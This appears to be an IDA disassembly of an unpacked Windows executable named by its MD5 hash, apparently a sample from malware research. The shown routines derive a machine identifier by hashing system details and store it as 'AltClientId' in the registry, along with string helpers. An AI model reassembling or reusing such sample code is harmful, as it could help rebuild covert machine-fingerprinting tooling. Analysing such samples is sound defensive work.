;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CB748567C0C763BCB6D4C2D4E13D6E80

; ---------------------------------------------------------------------------
; File Name   :	u:\work\cb748567c0c763bcb6d4c2d4e13d6e80_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00037000 ( 225280.)
; Section size in file		: 00037000 ( 225280.)
; Offset to raw	data for section: 00001000
; Flags	E0000000: Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_vty		segment	para public 'CODE' use32
		assume cs:_vty
		;org 401000h
		assume es:nothing, ss:nothing, ds:_vty,	fs:nothing, gs:nothing


loc_401000:				; DATA XREF: .vty:0041FEA4o
		mov	dword ptr [ecx], offset	off_41C290
		jmp	sub_40D931
; ---------------------------------------------------------------------------


loc_40100B:				; DATA XREF: .vty:off_41C290o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C290
		call	sub_40D931
		test	byte ptr [esp+8], 1
		jz	short loc_401027
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_401027:				; CODE XREF: .vty:0040101Ej
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40102D	proc near		; CODE XREF: sub_401315+79p
					; sub_4013C4+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DD8F
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_40102D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401049	proc near		; CODE XREF: sub_4014F5+50p
					; sub_401D1F+A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D807
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401049	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401065	proc near		; CODE XREF: sub_401156+4Cp

var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_41C008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40108E


loc_40108A:				; CODE XREF: sub_401065+59j
					; sub_401065+68j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40108E:				; CODE XREF: sub_401065+23j
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		push	0
		push	offset aAltclientid ; "AltClientId"
		push	[ebp+var_4]
		mov	[ebp+var_8], 40h
		call	dword_41C010	; RegQueryValueExA
		push	[ebp+var_4]
		mov	edi, eax
		call	dword_41C000	; RegCloseKey
		test	edi, edi
		pop	edi
		jnz	short loc_40108A
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40D970
		cmp	eax, 10h
		pop	ecx
		jnz	short loc_40108A
		lea	eax, [ebp+var_48]
		push	eax
		mov	ecx, offset dword_424E84
		call	sub_4013A7
		mov	al, 1
		leave
		retn
sub_401065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010E1	proc near		; CODE XREF: sub_401156+17Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		xor	edi, edi
		push	edi
		push	20006h
		push	edi
		push	edi
		push	edi
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_41C00C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_401112
		xor	al, al
		jmp	short loc_401153
; ---------------------------------------------------------------------------


loc_401112:				; CODE XREF: sub_4010E1+2Bj
		cmp	dword_424E9C, 10h
		mov	eax, dword_424E88
		jnb	short loc_401125
		mov	eax, offset dword_424E88


loc_401125:				; CODE XREF: sub_4010E1+3Dj
		mov	ecx, dword_424E98
		push	esi
		inc	ecx
		push	ecx
		push	eax
		push	1
		push	edi
		push	offset aAltclientid ; "AltClientId"
		push	[ebp+var_4]
		call	dword_41C014	; RegSetValueExA
		push	[ebp+var_4]
		mov	esi, eax
		call	dword_41C000	; RegCloseKey
		xor	eax, eax
		cmp	esi, edi
		setz	al
		pop	esi


loc_401153:				; CODE XREF: sub_4010E1+2Fj
		pop	edi
		leave
		retn
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401156	proc near		; CODE XREF: sub_405089+81p

var_1D0		= dword	ptr -1D0h
var_6C		= byte ptr -6Ch
var_58		= byte ptr -58h
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		test	byte ptr dword_424EA0, 1
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_424E84
		jnz	short loc_401195
		or	dword_424EA0, 1
		push	0
		mov	ecx, edi
		mov	dword_424E9C, 0Fh
		call	sub_401564
		push	offset loc_41B67A
		call	sub_40DBC0
		pop	ecx


loc_401195:				; CODE XREF: sub_401156+18j
		cmp	dword_424E98, 0
		jnz	loc_4012DB
		call	sub_401065
		test	al, al
		jnz	loc_4012DB
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1D0], offset off_41E018
		call	sub_40CBAC
		lea	eax, [ebp+var_48]
		push	eax
		call	dword_41C054	; GlobalMemoryStatus
		push	4
		pop	ebx
		push	ebx
		lea	eax, [ebp+var_44]
		push	eax
		lea	esi, [ebp+var_1D0]
		call	sub_401704
		push	ebx
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_401704
		push	ebx
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_401704
		push	ebx
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_401704
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aC	; "C:\\"
		call	dword_41C05C	; GetDiskFreeSpaceExA
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_401704
		push	8
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_401704
		push	8
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_401704
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_41C1B4	; GetCursorPos
		push	8
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_401704
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_41C060	; GetSystemTime
		push	10h
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_401704
		call	dword_41C058	; GetTickCount
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401704
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_401762
		mov	eax, dword_424E98
		push	10h
		pop	ebx
		cmp	eax, ebx
		jb	short loc_401295
		push	0FFFFFFFFh
		push	ebx
		mov	ecx, edi
		call	sub_4014F5
		jmp	short loc_4012A0
; ---------------------------------------------------------------------------


loc_401295:				; CODE XREF: sub_401156+131j
		push	0
		sub	ebx, eax
		mov	esi, edi
		call	sub_40140F


loc_4012A0:				; CODE XREF: sub_401156+13Dj
		xor	edi, edi
		mov	eax, offset dword_424E84
		call	sub_4012F5
		mov	edi, eax
		xor	esi, esi


loc_4012B0:				; CODE XREF: sub_401156+176j
		movzx	eax, [ebp+esi+var_6C]
		push	eax
		push	offset a02x	; "%02x"
		push	2
		push	edi
		call	sub_40D9FB
		add	esp, 10h
		inc	esi
		inc	edi
		inc	edi
		cmp	esi, 8
		jl	short loc_4012B0
		mov	byte ptr [edi],	0
		call	sub_4010E1
		mov	edi, offset dword_424E84


loc_4012DB:				; CODE XREF: sub_401156+46j
					; sub_401156+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401156	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012E2	proc near		; CODE XREF: sub_401989+2Ep
					; sub_401B38+16p ...
		push	0
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401564
		mov	eax, esi
		retn
sub_4012E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012F5	proc near		; CODE XREF: sub_401156+151p
					; sub_4081BF+7Bp ...
		push	esi
		mov	esi, eax
		cmp	edi, [esi+14h]
		jbe	short loc_401302
		call	sub_40DCFC


loc_401302:				; CODE XREF: sub_4012F5+6j
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40130D
		mov	esi, [esi+4]
		jmp	short loc_401310
; ---------------------------------------------------------------------------


loc_40130D:				; CODE XREF: sub_4012F5+11j
		add	esi, 4


loc_401310:				; CODE XREF: sub_4012F5+16j
		lea	eax, [esi+edi]
		pop	esi
		retn
sub_4012F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401315	proc near		; CODE XREF: sub_401483+2Bp
					; sub_401C1E+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_40132D
		call	sub_40D7C3


loc_40132D:				; CODE XREF: sub_401315+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_40133D
		mov	esi, [ebp+arg_8]


loc_40133D:				; CODE XREF: sub_401315+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_40135B
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_4014F5
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_4014F5
		jmp	short loc_40139E
; ---------------------------------------------------------------------------


loc_40135B:				; CODE XREF: sub_401315+2Cj
		push	0
		push	esi
		call	sub_401580
		test	al, al
		jz	short loc_40139E
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401372
		mov	edi, [edi+4]
		jmp	short loc_401375
; ---------------------------------------------------------------------------


loc_401372:				; CODE XREF: sub_401315+56j
		add	edi, 4


loc_401375:				; CODE XREF: sub_401315+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_401382
		mov	eax, [ebx+4]
		jmp	short loc_401385
; ---------------------------------------------------------------------------


loc_401382:				; CODE XREF: sub_401315+66j
		lea	eax, [ebx+4]


loc_401385:				; CODE XREF: sub_401315+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_40102D
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_401564


loc_40139E:				; CODE XREF: sub_401315+44j
					; sub_401315+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401315	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013A7	proc near		; CODE XREF: sub_401065+73p
					; sub_401989+5Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40D970
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_401483
		pop	esi
		retn	4
sub_4013A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013C4	proc near		; CODE XREF: sub_401580+3Ep
					; sub_4015DE+B7p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4013F9
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4013F9
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_4013F1
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_40102D
		add	esp, 10h


loc_4013F1:				; CODE XREF: sub_4013C4+1Bj
		push	edi
		call	sub_40DD8A
		pop	ecx
		pop	edi


loc_4013F9:				; CODE XREF: sub_4013C4+8j
					; sub_4013C4+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401564
		pop	esi
		retn	8
sub_4013C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40140F	proc near		; CODE XREF: sub_401156+145p
					; sub_402BCF+C7p ...

arg_0		= byte ptr  4

		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, ebx
		ja	short loc_40141E
		call	sub_40D784


loc_40141E:				; CODE XREF: sub_40140F+8j
		test	ebx, ebx
		jbe	short loc_40147E
		push	edi
		mov	edi, [esi+14h]
		push	0
		add	edi, ebx
		push	edi
		mov	ecx, esi
		call	sub_401580
		test	al, al
		jz	short loc_40147D
		cmp	ebx, 1
		mov	ecx, [esi+14h]
		jnz	short loc_401455
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401449
		mov	eax, [esi+4]
		jmp	short loc_40144C
; ---------------------------------------------------------------------------


loc_401449:				; CODE XREF: sub_40140F+33j
		lea	eax, [esi+4]


loc_40144C:				; CODE XREF: sub_40140F+38j
		mov	dl, [esp+4+arg_0]
		mov	[eax+ecx], dl
		jmp	short loc_401475
; ---------------------------------------------------------------------------


loc_401455:				; CODE XREF: sub_40140F+2Dj
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401460
		mov	eax, [esi+4]
		jmp	short loc_401463
; ---------------------------------------------------------------------------


loc_401460:				; CODE XREF: sub_40140F+4Aj
		lea	eax, [esi+4]


loc_401463:				; CODE XREF: sub_40140F+4Fj
		movsx	edx, [esp+4+arg_0]
		push	ebx
		push	edx
		add	eax, ecx
		push	eax
		call	sub_40DD10
		add	esp, 0Ch


loc_401475:				; CODE XREF: sub_40140F+44j
		push	edi
		mov	ecx, esi
		call	sub_401564


loc_40147D:				; CODE XREF: sub_40140F+25j
		pop	edi


loc_40147E:				; CODE XREF: sub_40140F+11j
		mov	eax, esi
		retn	4
sub_40140F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401483	proc near		; CODE XREF: sub_4013A7+14p
					; sub_40BDCD+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_4016D0
		test	al, al
		jz	short loc_4014B5
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4014A2
		mov	eax, [esi+4]
		jmp	short loc_4014A5
; ---------------------------------------------------------------------------


loc_4014A2:				; CODE XREF: sub_401483+18j
		lea	eax, [esi+4]


loc_4014A5:				; CODE XREF: sub_401483+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_401315
		jmp	short loc_4014EF
; ---------------------------------------------------------------------------


loc_4014B5:				; CODE XREF: sub_401483+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401580
		test	al, al
		jz	short loc_4014ED
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		jb	short loc_4014D2
		mov	eax, [esi+4]
		jmp	short loc_4014D5
; ---------------------------------------------------------------------------


loc_4014D2:				; CODE XREF: sub_401483+48j
		lea	eax, [esi+4]


loc_4014D5:				; CODE XREF: sub_401483+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_40102D
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401564


loc_4014ED:				; CODE XREF: sub_401483+40j
		mov	eax, esi


loc_4014EF:				; CODE XREF: sub_401483+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_401483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014F5	proc near		; CODE XREF: sub_401156+138p
					; sub_401315+33p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_401509
		call	sub_40D7C3


loc_401509:				; CODE XREF: sub_4014F5+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_401516
		mov	[ebp+arg_4], eax


loc_401516:				; CODE XREF: sub_4014F5+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_40155C
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		push	ebx
		lea	edx, [esi+4]
		jb	short loc_40152C
		mov	ebx, [edx]
		jmp	short loc_40152E
; ---------------------------------------------------------------------------


loc_40152C:				; CODE XREF: sub_4014F5+31j
		mov	ebx, edx


loc_40152E:				; CODE XREF: sub_4014F5+35j
		cmp	ecx, 10h
		jb	short loc_401535
		mov	edx, [edx]


loc_401535:				; CODE XREF: sub_4014F5+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_401049
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_401564
		pop	ebx


loc_40155C:				; CODE XREF: sub_4014F5+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_4014F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401564	proc near		; CODE XREF: sub_401156+2Fp
					; sub_4012E2+Bp ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_401576
		mov	ecx, [ecx+4]
		jmp	short loc_401579
; ---------------------------------------------------------------------------


loc_401576:				; CODE XREF: sub_401564+Bj
		add	ecx, 4


loc_401579:				; CODE XREF: sub_401564+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_401564	endp


; =============== S U B	R O U T	I N E =======================================



sub_401580	proc near		; CODE XREF: sub_401315+49p
					; sub_40140F+1Ep ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_401592
		call	sub_40D784


loc_401592:				; CODE XREF: sub_401580+Bj
		cmp	[esi+18h], edi
		jnb	short loc_4015A4
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_4015DE
		jmp	short loc_4015D1
; ---------------------------------------------------------------------------


loc_4015A4:				; CODE XREF: sub_401580+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_4015C5
		cmp	edi, 10h
		jnb	short loc_4015C5
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_4015B9
		mov	eax, edi


loc_4015B9:				; CODE XREF: sub_401580+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_4013C4
		jmp	short loc_4015D1
; ---------------------------------------------------------------------------


loc_4015C5:				; CODE XREF: sub_401580+29j
					; sub_401580+2Ej
		test	edi, edi
		jnz	short loc_4015D1
		push	edi
		mov	ecx, esi
		call	sub_401564


loc_4015D1:				; CODE XREF: sub_401580+22j
					; sub_401580+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_401580	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015DE	proc near		; CODE XREF: sub_401580+1Dp
		mov	eax, offset sub_41AEA1
		call	sub_41AE44
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		mov	edi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-18h], edi
		jbe	short loc_401606
		mov	esi, [ebp+8]
		jmp	short loc_40162B
; ---------------------------------------------------------------------------


loc_401606:				; CODE XREF: sub_4015DE+21j
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_40162B
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_40162B
		lea	esi, [edx+ecx]


loc_40162B:				; CODE XREF: sub_4015DE+26j
					; sub_4015DE+3Fj ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_401806
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_40166A
; ---------------------------------------------------------------------------


loc_401640:				; DATA XREF: .vty:0041FFB4o
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_401806
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_401661
		retn
; ---------------------------------------------------------------------------


loc_401661:				; DATA XREF: sub_4015DE+7Do
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]


loc_40166A:				; CODE XREF: sub_4015DE+60j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40168F
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40167B
		mov	eax, [edi+4]
		jmp	short loc_40167E
; ---------------------------------------------------------------------------


loc_40167B:				; CODE XREF: sub_4015DE+96j
		lea	eax, [edi+4]


loc_40167E:				; CODE XREF: sub_4015DE+9Bj
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_40102D
		add	esp, 10h


loc_40168F:				; CODE XREF: sub_4015DE+90j
		push	0
		push	1
		mov	ecx, edi
		call	sub_4013C4
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_401564
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_4015DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4016BB	proc near		; DATA XREF: .vty:0041FFA4o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_4013C4
		push	esi
		push	esi
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_4016BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4016D0	proc near		; CODE XREF: sub_401483+Bp
					; sub_401D1F+17p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_4016E0
		mov	edx, [eax]
		jmp	short loc_4016E2
; ---------------------------------------------------------------------------


loc_4016E0:				; CODE XREF: sub_4016D0+Aj
		mov	edx, eax


loc_4016E2:				; CODE XREF: sub_4016D0+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_4016FE
		cmp	esi, 10h
		jb	short loc_4016EF
		mov	eax, [eax]


loc_4016EF:				; CODE XREF: sub_4016D0+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_4016FE
		mov	al, 1
		jmp	short loc_401700
; ---------------------------------------------------------------------------


loc_4016FE:				; CODE XREF: sub_4016D0+16j
					; sub_4016D0+28j
		xor	al, al


loc_401700:				; CODE XREF: sub_4016D0+2Cj
		pop	esi
		retn	4
sub_4016D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401704	proc near		; CODE XREF: sub_401156+86p
					; sub_401156+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esi+4]
		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shr	ebx, 3
		lea	ecx, [eax+edx*8]
		and	ebx, 3Fh
		cmp	ecx, eax
		push	edi
		jnb	short loc_40171F
		inc	dword ptr [esi+8]


loc_40171F:				; CODE XREF: sub_401704+16j
		mov	edi, [esp+8+arg_0]
		mov	eax, edx
		shr	eax, 1Dh
		add	[esi+8], eax
		test	edx, edx
		mov	[esi+4], ecx
		jz	short loc_40175D


loc_401732:				; CODE XREF: sub_401704+57j
		mov	eax, ebx
		shr	eax, 2
		lea	eax, [esi+eax*4+20h]
		shl	dword ptr [eax], 8
		movzx	edx, byte ptr [edi]
		mov	ecx, [eax]
		or	edx, ecx
		inc	edi
		inc	ebx
		test	bl, 3Fh
		mov	[eax], edx
		jnz	short loc_401757
		mov	eax, [esi]
		mov	ecx, esi
		xor	ebx, ebx
		call	dword ptr [eax+4]


loc_401757:				; CODE XREF: sub_401704+48j
		dec	[esp+8+arg_4]
		jnz	short loc_401732


loc_40175D:				; CODE XREF: sub_401704+2Cj
		pop	edi
		pop	ebx
		retn	8
sub_401704	endp


; =============== S U B	R O U T	I N E =======================================



sub_401762	proc near		; CODE XREF: sub_401156+122p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esi+4]
		push	edi
		shr	ebx, 3
		push	77h
		and	ebx, 3Fh
		pop	edi
		sub	edi, ebx
		cmp	edi, 40h
		jb	short loc_40177A
		sub	edi, 40h


loc_40177A:				; CODE XREF: sub_401762+13j
		mov	eax, ebx
		shr	eax, 2
		lea	eax, [esi+eax*4+20h]
		mov	ecx, [eax]
		shl	ecx, 8
		or	ecx, 80h
		inc	ebx
		test	bl, 3Fh
		mov	[eax], ecx
		jnz	short loc_40179F
		mov	eax, [esi]
		mov	ecx, esi
		xor	ebx, ebx
		call	dword ptr [eax+4]


loc_40179F:				; CODE XREF: sub_401762+32j
		test	edi, edi
		jz	short loc_4017C1


loc_4017A3:				; CODE XREF: sub_401762+5Dj
		mov	eax, ebx
		shr	eax, 2
		lea	eax, [esi+eax*4+20h]
		shl	dword ptr [eax], 8
		inc	ebx
		test	bl, 3Fh
		jnz	short loc_4017BE
		mov	eax, [esi]
		mov	ecx, esi
		xor	ebx, ebx
		call	dword ptr [eax+4]


loc_4017BE:				; CODE XREF: sub_401762+51j
		dec	edi
		jnz	short loc_4017A3


loc_4017C1:				; CODE XREF: sub_401762+3Fj
		mov	eax, [esi+8]
		mov	[esi+58h], eax
		mov	eax, [esi+4]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4]
		pop	edi
		xor	eax, eax
		pop	ebx


loc_4017D8:				; CODE XREF: sub_401762+99j
		mov	edx, eax
		and	edx, 3
		push	3
		pop	ecx
		sub	ecx, edx
		mov	edx, eax
		shr	edx, 2
		mov	edx, [esi+edx*4+0Ch]
		shl	ecx, 3
		shr	edx, cl
		mov	ecx, [esp+arg_0]
		mov	[eax+ecx], dl
		inc	eax
		cmp	eax, 14h
		jl	short loc_4017D8
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax]
		retn	4
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401806	proc near		; CODE XREF: sub_4015DE+57p
					; sub_4015DE+73p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_40181E
		xor	ecx, ecx


loc_401815:				; CODE XREF: sub_401806+22j
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40181E:				; CODE XREF: sub_401806+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_401815
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
		push	esi
		push	[esp+10h+var_8]
		mov	esi, ecx
		call	sub_40D8D9
